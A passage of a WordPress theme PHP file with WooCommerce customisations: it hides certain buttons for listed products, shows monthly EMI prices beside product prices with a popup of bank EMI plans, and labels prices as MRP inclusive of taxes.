justify-content: center;
display: flex;
align-items: center;
}
/* .btn-danger:before {content: "\f218"; font-family: "Font Awesome 5 Pro"; font-size: 1.2rem; margin-right: 0.8rem; font-weight: 300;} */
#wpamit-adding-button {
display: none !important;
}
.yith-wcwl-add-button {
display: none !important;
}
.elementor-element-c7bb6b7 {
display: none !important;
}
.woocommerce-variation-add-to-cart {
align-items: center;
}
</style>
<?php
echo '<a href="' . $href . '" type="button" class="btn btn-danger mt-3 mb-3" target="_blank">' . $name . '</a>';
//echo '<a href="'.$href.'" type="button" class="btn btn-danger mt-3 mb-3" target="_blank"><button type="submit" class="single_add_to_cart_button button alt">Pre Book</button></a>';
}
// Listed product that are NPI and want to visible the effective price and dont want for ther products.
$targeted_product_ids1 = array(50141, 50192, 50248, 50187, 50266, 50276, 50271, 50301, 50319, 50315, 50308, 50294, 50291, 50414, 50364, 50352);
if (in_array($product->get_id(), $targeted_product_ids1)) { ?>
<style>
.woocommerce-variation-description {
display: block !important;
}
</style>
<?php
}
$targeted_product_ids2 = array(50248, 50192, 50414, 50364, 50352, 50414, 50364, 50352, 50380);
if (in_array($product->get_id(), $targeted_product_ids2)) { ?>
<style>
.wczpc_maindiv {
display: none !important;
}
</style>
<?php
}
}
// End NPA Add Custom button to spefic page.
// Show EMI next to price (if ACF 'show_emi' is enabled)
add_filter('woocommerce_get_price_html', 'custom_price_with_emi', 10, 2);
function custom_price_with_emi($price_html, $product) {
if (!function_exists('get_field')) return $price_html;
if (!get_field('show_emi', $product->get_id())) return $price_html;
$emi_price = number_format($product->get_price() / 12);
return '<div class="price-with-emi">
<div class="main-price-block"><span class="main-price">' . $price_html . '</span></div>
<div class="or-divider"><span>OR</span></div>
<div class="emi-price-block">
<span class="emi-amount">₹' . $emi_price . '/mo*</span>
<a class="emi-link" href="javascript:void(0)" onclick="openEmiPopup(' . $product->get_id() . ')">EMI Options</a>
</div>
</div>';
}
// For Variable Products
add_filter('woocommerce_available_variation', 'custom_variation_price_with_emi', 10, 3);
function custom_variation_price_with_emi($variation_data, $product, $variation) {
if (!function_exists('get_field')) return $variation_data;
if (!get_field('show_emi', $product->get_id())) return $variation_data;
$emi_price = number_format($variation->get_price() / 12);
$variation_data['price_html'] = '<div class="price-with-emi">
<div class="main-price-block"><span class="main-price">' . $variation_data['price_html'] . '</span></div>
<div class="or-divider"><span>OR</span></div>
<div class="emi-price-block">
<span class="emi-amount">₹' . $emi_price . '/mo*</span>
<a class="emi-link" href="javascript:void(0)" onclick="openEmiPopup(' . $product->get_id() . ')">EMI Options</a>
</div>
</div>';
return $variation_data;
}
// EMI Popup HTML & Script
add_action('wp_footer', function () {
if (!is_product()) return;
global $post;
if (!function_exists('get_field')) return;
if (!get_field('show_emi', $post->ID)) return;
$banks = get_field('emi_banks', $post->ID);
if (!$banks) return;
?>
<div id="emiPopup" class="emi-popup" style="display:none;">
<div class="emi-popup-content">
<span class="close-btn" onclick="closeEmiPopup()">×</span>
<h3>EMI Options</h3>
<?php foreach ($banks as $bank): ?>
<div class="emi-bank" onclick="toggleEmiDetails(this)">
<?php
$logo = $bank['bank_logo'] ?? '';
$logo_url = '';
if ($logo) {
$logo_url = is_array($logo) && isset($logo['url']) ? $logo['url'] : $logo;
}
if ($logo_url): ?>
<img src="<?php echo esc_url($logo_url); ?>" alt="<?php echo esc_attr($bank['bank_name']); ?>" />
<?php endif; ?>
<span class="bank-name"><?php echo esc_html($bank['bank_name']); ?></span>
<span class="arrow">▼</span>
</div>
<div class="emi-details">
<table>
<tbody>
<?php if (!empty($bank['emi_plans'])): foreach ($bank['emi_plans'] as $plan): ?>
<tr>
<td><?php echo intval($plan['months']); ?> Months</td>
<td>₹<?php echo number_format($plan['amount']); ?>/mo</td>
</tr>
<?php endforeach; endif; ?>
</tbody>
</table>
</div>
<?php endforeach; ?>
</div>
</div>
<style>
.price-with-emi { display: flex; align-items: center; gap: 24px; flex-wrap: wrap; margin-bottom: 15px; }
.main-price-block .main-price { font-size: 22px; font-weight: 600; }
.or-divider { font-size: 14px; background: #333; color: #fff; padding: 2px 10px; border-radius: 4px; font-weight: 500; }
.emi-price-block { display: flex; flex-direction: column; align-items: flex-start; font-size: 16px; color: #000; }
.emi-price-block .emi-amount { font-weight: 500; }
.emi-price-block .emi-link { color: #0073E6; font-size: 14px; text-decoration: underline; margin-top: 2px; }
.emi-popup {
position: fixed; top: 0; left: 0; width: 100%; height: 100%;
background: rgba(0,0,0,0.9); display: none;
justify-content: center; align-items: center; z-index: 9999;
}
.emi-popup-content {
background: #111; padding: 25px; border-radius: 12px;
width: 420px; max-height: 80vh; overflow-y: auto; color: #fff; position: relative;
}
.emi-popup-content h3 { margin-bottom: 15px; font-size: 22px; color: #00ffb3; font-weight: bold; }
.close-btn { position: absolute; top: 12px; right: 15px; font-size: 22px; color: #fff; cursor: pointer; }
.emi-bank {
display: flex; align-items: center; justify-content: space-between;
background: #1a1a1a; padding: 12px; margin-bottom: 10px; border-radius: 8px; cursor: pointer;
}
.emi-bank .bank-name { flex-grow: 1; margin-left: 10px; font-size: 15px; }
.emi-bank .arrow { font-size: 16px; color: #00ffb3; }
.emi-details {
display: none; background: #0e0e0e; padding: 10px; border-radius: 0 0 8px 8px;
}
.emi-details td {
padding: 6px; border-bottom: 1px solid #222; color: #ccc;
}
.emi-details table {
border-width: 1px;
}
</style>
<script>
function openEmiPopup() {
document.getElementById("emiPopup").style.display = "flex";
}
function closeEmiPopup() {
document.getElementById("emiPopup").style.display = "none";
}
function toggleEmiDetails(el) {
const details = el.nextElementSibling;
if (details.style.display === "block") {
details.style.display = "none";
el.classList.remove("active");
} else {
details.style.display = "block";
el.classList.add("active");
}
}
</script>
<?php
});
add_filter('woocommerce_get_price_html', 'custom_mrp_and_tax_text', 10, 2);
add_filter('woocommerce_variation_price_html', 'custom_mrp_and_tax_text', 10, 2);
function custom_mrp_and_tax_text($price, $product) {
if (! is_product()) {
return $price;
}
$currency_symbol = get_woocommerce_currency_symbol();
// If product is on sale
if ($product->is_on_sale()) {
$regular_price = wc_price($product->get_regular_price());
$sale_price = wc_price($product->get_sale_price());
$price = '<span class="mrp-label">MRP </span> <del class="regular-price">' . $regular_price . '
</del>
<ins class="sale-price">' . $sale_price . '</ins>';
} else {
// Non-sale price
$price = '<span class="mrp-label">MRP </span>' . $price;
}
// Append tax text
$price .= '<span class="tax-text" style="font-size: 14px; color: #636363; font-weight: 400;"> (Incl. of all taxes)</span>';
return $price;
}